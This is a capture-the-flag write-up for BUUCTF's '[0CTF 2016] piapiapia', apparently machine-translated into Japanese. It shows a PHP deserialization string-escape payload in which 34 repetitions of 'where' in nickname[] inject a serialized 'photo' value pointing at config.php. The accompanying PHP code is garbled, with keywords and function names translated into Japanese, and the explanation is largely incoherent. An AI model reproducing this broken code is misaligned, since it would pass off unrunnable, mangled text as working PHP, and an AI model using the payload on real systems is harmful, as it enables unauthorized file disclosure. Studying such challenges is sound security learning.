BUUCTF | [0CTF 2016] piapiapia

ステップ:

ニックネーム[] = wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ";} S:5:" 写真 "; S:10:" config.phpを ";}

ギャングスターWPは非常に詳細にされているこの問題は、私はそれを一点を記録します:ニックネームは、その山を渡すのはなぜ?

 

 

 

<?PHPの
関数フィルタ($文字列)
{ 
		$エスケープ=配列( '\'」、 '\\\\')。
		$エスケープ= '/'。内破( '|'、$エスケープ)。'/'; 
		$文字列=にpreg_replace($エスケープ、 '_'、$文字列); 

		$安全=配列( '選択'、 '挿入'、 '更新'、 '削除'、 'どこ'); 
		$安全な= '/'。内破( '|'、$安全)。'/私'; 
		リターンにpreg_replace($安全な、 'ハッカー'、$文字列); 
} 
$ S =「:4:{S:5: "電話"; S:11: "12345678901"; S:5: "電子メール"; S:8: "[email protected]"; S:8: "ニックネーム";:1:{I:0; S:204:」
var_dump(アンシリアライズ($ sの)); 
var_dump( '&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'); 
の$ A =フィルタ($ sで); 
var_dump($ A)。
var_dump(アンシリアライズ($ a)参照)。
var_dump( '*********************************************** *** '); 
// $プロファイル=「:4:{S:5: "電話"; S:11: "12345678901"; S:5: "電子メール"; S:8: "[email protected]"; S:8 "ニックネーム"; S:8: "sea_sand"; S:5: "写真"; S:10: "config.phpを";} S:39: "アップロード/ 804f743824c0451b2f60d81b63b6a900";}; 
$プロファイル=「:4:{S:5: "電話"; S:11:」

var_dump($プロファイル)。
var_dump(アンシリアライズ($プロファイル));

符号長が170である場合、長さ204は、両方のちょうど34との間の差をハッカーなります。ダイレクトパスここで、(この場合には一連の文は真ではありません)私たちは204を構築する手助けハッカーにフィルタを交換しましょう(この文は正しい順序である)の204は、その文34の列の後ろ、つまり、私たちは、写真、外出する文の元の写真のシーケンスを渡したいです。

 

参考: 

https://blog.csdn.net/zz_Caleb/article/details/96777110

おすすめ

転載: www.cnblogs.com/chrysanthemum/p/11785004.html